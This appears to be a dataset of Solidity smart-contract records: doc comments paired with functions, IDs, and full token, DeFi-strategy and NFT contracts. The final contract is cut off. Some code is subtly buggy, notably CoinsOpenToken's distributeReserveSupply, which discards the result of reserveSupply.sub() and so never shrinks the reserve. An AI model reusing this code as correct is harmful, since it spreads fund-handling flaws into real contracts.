https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
remove token from sale _tokenId uint256 id of the token. _owner owner of the token/
function removeFromSale(uint256 _tokenId, address _owner) external override { uint256 balance = balanceOf(msg.sender, _tokenId); require(balance > 0 || msg.sender == address(marketAuction), "must be the owner of the token or sender is market auction"); tokenOwnerInfo[_tokenId][_owner].isForSale = false; }
1,139,589
/************************************************************************* * This contract has been merged with solidify * https://github.com/tiesnetwork/solidify *************************************************************************/ pragma solidity ^0.4.11; /************************************************************************* * import "./StandardToken.sol" : start *************************************************************************/ /************************************************************************* * import "./SafeMath.sol" : start *************************************************************************/ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /************************************************************************* * import "./SafeMath.sol" : end *************************************************************************/ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); uint256 public totalSupply; address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Pause(); event Unpause(); bool public paused = false; using SafeMath for uint256; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function StandardToken() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware - changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /************************************************************************* * import "./StandardToken.sol" : end *************************************************************************/ contract CoinsOpenToken is StandardToken { // Token informations string public constant name = "COT"; string public constant symbol = "COT"; uint8 public constant decimals = 18; uint public totalSupply = 23000000000000000000000000; uint256 public presaleSupply = 2000000000000000000000000; uint256 public saleSupply = 13000000000000000000000000; uint256 public reserveSupply = 8000000000000000000000000; uint256 public saleStartTime = 1511136000; /* Monday, November 20, 2017 12:00:00 AM */ uint256 public saleEndTime = 1513728000; /* Wednesday, December 20, 2017 12:00:00 AM */ uint256 public preSaleStartTime = 1508457600; /* Friday, October 20, 2017 12:00:00 AM */ uint256 public developerLock = 1500508800; uint256 public totalWeiRaised = 0; uint256 public preSaleTokenPrice = 1400; uint256 public saleTokenPrice = 700; mapping (address => uint256) lastDividend; mapping (uint256 =>uint256) dividendList; uint256 currentDividend = 0; uint256 dividendAmount = 0; struct BuyOrder { uint256 wether; address receiver; address payer; bool presale; } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, bool presale); /** * event for notifying of a Ether received to distribute as dividend * @param amount of dividend received */ event DividendAvailable(uint amount); /** * event triggered when sending dividend to owner * @param receiver who is receiving the payout * @param amountofether paid received */ event SendDividend(address indexed receiver, uint amountofether); function() payable { if (msg.sender == owner) { giveDividend(); } else { buyTokens(msg.sender); } } function endSale() whenNotPaused { require (!isInSale()); require (saleSupply != 0); reserveSupply = reserveSupply.add(saleSupply); } /** * Buy tokens during the sale/presale * @param _receiver who should receive the tokens */ function buyTokens(address _receiver) payable whenNotPaused { require (msg.value != 0); require (_receiver != 0x0); require (isInSale()); bool isPresale = isInPresale(); if (!isPresale) { checkPresale(); } uint256 tokenPrice = saleTokenPrice; if (isPresale) { tokenPrice = preSaleTokenPrice; } uint256 tokens = (msg.value).mul(tokenPrice); if (isPresale) { if (presaleSupply < tokens) { msg.sender.transfer(msg.value); return; } } else { if (saleSupply < tokens) { msg.sender.transfer(msg.value); return; } } checkDividend(_receiver); TokenPurchase(msg.sender, _receiver, msg.value, tokens, isPresale); totalWeiRaised = totalWeiRaised.add(msg.value); Transfer(0x0, _receiver, tokens); balances[_receiver] = balances[_receiver].add(tokens); if (isPresale) { presaleSupply = presaleSupply.sub(tokens); } else { saleSupply = saleSupply.sub(tokens); } } /** * @dev Pay this function to add the dividends */ function giveDividend() payable whenNotPaused { require (msg.value != 0); dividendAmount = dividendAmount.add(msg.value); dividendList[currentDividend] = (msg.value).mul(10000000000).div(totalSupply); currentDividend = currentDividend.add(1); DividendAvailable(msg.value); } /** * @dev Returns true if we are still in pre sale period * @param _account The address to check and send dividends */ function checkDividend(address _account) whenNotPaused { if (lastDividend[_account] != currentDividend) { if (balanceOf(_account) != 0) { uint256 toSend = 0; for (uint i = lastDividend[_account]; i < currentDividend; i++) { toSend += balanceOf(_account).mul(dividendList[i]).div(10000000000); } if (toSend > 0 && toSend <= dividendAmount) { _account.transfer(toSend); dividendAmount = dividendAmount.sub(toSend); SendDividend(_account, toSend); } } lastDividend[_account] = currentDividend; } } /** * @dev transfer token for a specified address checking if they are dividends to pay * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { checkDividend(msg.sender); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another checking if they are dividends to pay * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { checkDividend(_from); return super.transferFrom(_from, _to, _value); } /** * @dev Returns true if we are still in pre sale period */ function isInPresale() constant returns (bool) { return saleStartTime > now; } /** * @dev Returns true if we are still in sale period */ function isInSale() constant returns (bool) { return saleEndTime >= now && preSaleStartTime <= now; } // @return true if the transaction can buy tokens function checkPresale() internal { if (!isInPresale() && presaleSupply > 0) { saleSupply = saleSupply.add(presaleSupply); presaleSupply = 0; } } /** * Distribute tokens from the reserve * @param _amount Amount to transfer * @param _receiver Address of the receiver */ function distributeReserveSupply(uint256 _amount, address _receiver) onlyOwner whenNotPaused { require (_amount <= reserveSupply); require (now >= developerLock); checkDividend(_receiver); balances[_receiver] = balances[_receiver].add(_amount); reserveSupply.sub(_amount); Transfer(0x0, _receiver, _amount); } /** * Withdraw some Ether from contract */ function withdraw(uint _amount) onlyOwner { require (_amount != 0); require (_amount < this.balance); (msg.sender).transfer(_amount); } /** * Withdraw Ether from contract */ function withdrawEverything() onlyOwner { (msg.sender).transfer(this.balance); } }
Transfer tokens from one address to another checking if they are dividends to pay _from address The address which you want to send tokens from _to address The address which you want to transfer to _value uint256 the amount of tokens to be transferred/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { checkDividend(_from); return super.transferFrom(_from, _to, _value); }
7,247,467
// SPDX-License-Identifier: MIT pragma solidity ^0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // interface IController { function withdraw(address, uint256) external; function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); function strategies(address) external view returns (address); } // interface Gauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; } // interface Mintr { function mint(address) external; } // interface Uni { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external; } // interface ICurveFi { function get_virtual_price() external view returns (uint256); function add_liquidity( // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; } interface Zap { function remove_liquidity_one_coin( uint256, int128, uint256 ) external; } // // NOTE: Basically an alias for Vaults interface yERC20 { function deposit(uint256 _amount) external; function withdraw(uint256 _amount) external; function getPricePerFullShare() external view returns (uint256); } // interface VoterProxy { function withdraw( address _gauge, address _token, uint256 _amount ) external returns (uint256); function balanceOf(address _gauge) external view returns (uint256); function withdrawAll(address _gauge, address _token) external returns (uint256); function deposit(address _gauge, address _token) external; function harvest(address _gauge) external; } // contract StrategyCurveYBUSDVoterProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant want = address(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public constant ydai = address(0xC2cB1040220768554cf699b0d863A3cd4324ce32); address public constant curve = address(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); address public constant gauge = address(0x69Fb7c45726cfE2baDeE8317005d3F94bE838840); address public constant proxy = address(0x7A99923aA2efa71178BB11294349EC1F6b23a814); address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934); uint256 public keepCRV = 1000; uint256 public constant keepCRVMax = 10000; uint256 public performanceFee = 500; uint256 public constant performanceMax = 10000; uint256 public withdrawalFee = 50; uint256 public constant withdrawalMax = 10000; address public governance; address public controller; address public strategist; constructor(address _controller) public { governance = msg.sender; strategist = msg.sender; controller = _controller; } function getName() external pure returns (string memory) { return "StrategyCurveYBUSDVoterProxy"; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setKeepCRV(uint256 _keepCRV) external { require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == governance, "!governance"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function deposit() public { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeTransfer(proxy, _want); VoterProxy(proxy).deposit(gauge, want); } } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(crv != address(_asset), "crv"); require(ydai != address(_asset), "ydai"); require(dai != address(_asset), "dai"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(IController(controller).rewards(), _fee); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_fee)); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { VoterProxy(proxy).withdrawAll(gauge, want); } function harvest() public { require(msg.sender == strategist || msg.sender == governance, "!authorized"); VoterProxy(proxy).harvest(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); IERC20(crv).safeTransfer(voter, _keepCRV); _crv = _crv.sub(_keepCRV); IERC20(crv).safeApprove(uni, 0); IERC20(crv).safeApprove(uni, _crv); address[] memory path = new address[](3); path[0] = crv; path[1] = weth; path[2] = dai; Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800)); } uint256 _dai = IERC20(dai).balanceOf(address(this)); if (_dai > 0) { IERC20(dai).safeApprove(ydai, 0); IERC20(dai).safeApprove(ydai, _dai); yERC20(ydai).deposit(_dai); } uint256 _ydai = IERC20(ydai).balanceOf(address(this)); if (_ydai > 0) { IERC20(ydai).safeApprove(curve, 0); IERC20(ydai).safeApprove(curve, _ydai); ICurveFi(curve).add_liquidity([_ydai, 0, 0, 0], 0); } uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { uint256 _fee = _want.mul(performanceFee).div(performanceMax); IERC20(want).safeTransfer(IController(controller).rewards(), _fee); deposit(); } } function _withdrawSome(uint256 _amount) internal returns (uint256) { return VoterProxy(proxy).withdraw(gauge, want, _amount); } function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { return VoterProxy(proxy).balanceOf(gauge); } function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } }
Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(crv != address(_asset), "crv"); require(ydai != address(_asset), "ydai"); require(dai != address(_asset), "dai"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); }
599,228
./full_match/1/0x1a6aa939A1682Cdffa08a35c22795d933AF9A116/sources/EthernaalFlaNft.sol
This function is used to unlist/delist a creator from the platform/
function delistCreator(address[] memory _creators) public onlyOwner { for(uint i = 0; i < _creators.length; i++){ if (creatorWhitelist[_creators[i]] == true){ creatorWhitelist[_creators[i]] = false; emit DelistCreator(_creators[i]); } } }
5,000,950
pragma solidity ^0.4.24; /* __ __ _ ___ ___ __ ___ | \/ | /\ | | |__ \ / _ \/_ |/ _ \ | \ / | ___ _ __ ___ ___ / \__ ____ _ _ __ __| |___ ) | | | || | (_) | | |\/| |/ _ \ &#39;_ ` _ \ / _ \ / /\ \ \ /\ / / _` | &#39;__/ _` / __| / /| | | || |> _ < | | | | __/ | | | | | __/ / ____ \ V V / (_| | | | (_| \__ \ / /_| |_| || | (_) | |_| |_|\___|_| |_| |_|\___| /_/ \_\_/\_/ \__,_|_| \__,_|___/ |____|\___/ |_|\___/ */ /** * @title IERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ contract IERC165 { /** * @notice Query if a contract implements an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract IERC721 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes data) public returns (bytes4); } /** * @title ERC165 * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract ERC165 is IERC165 { bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256(&#39;supportsInterface(bytes4)&#39;)) */ /** * @dev a mapping of interface id to whether or not it&#39;s supported */ mapping(bytes4 => bool) private _supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor () internal { _registerInterface(_InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev internal method for registering an interface */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract IERC721Metadata { function name() external view returns (string); function symbol() external view returns (string); function tokenURI(uint256 tokenId) external view returns (string); 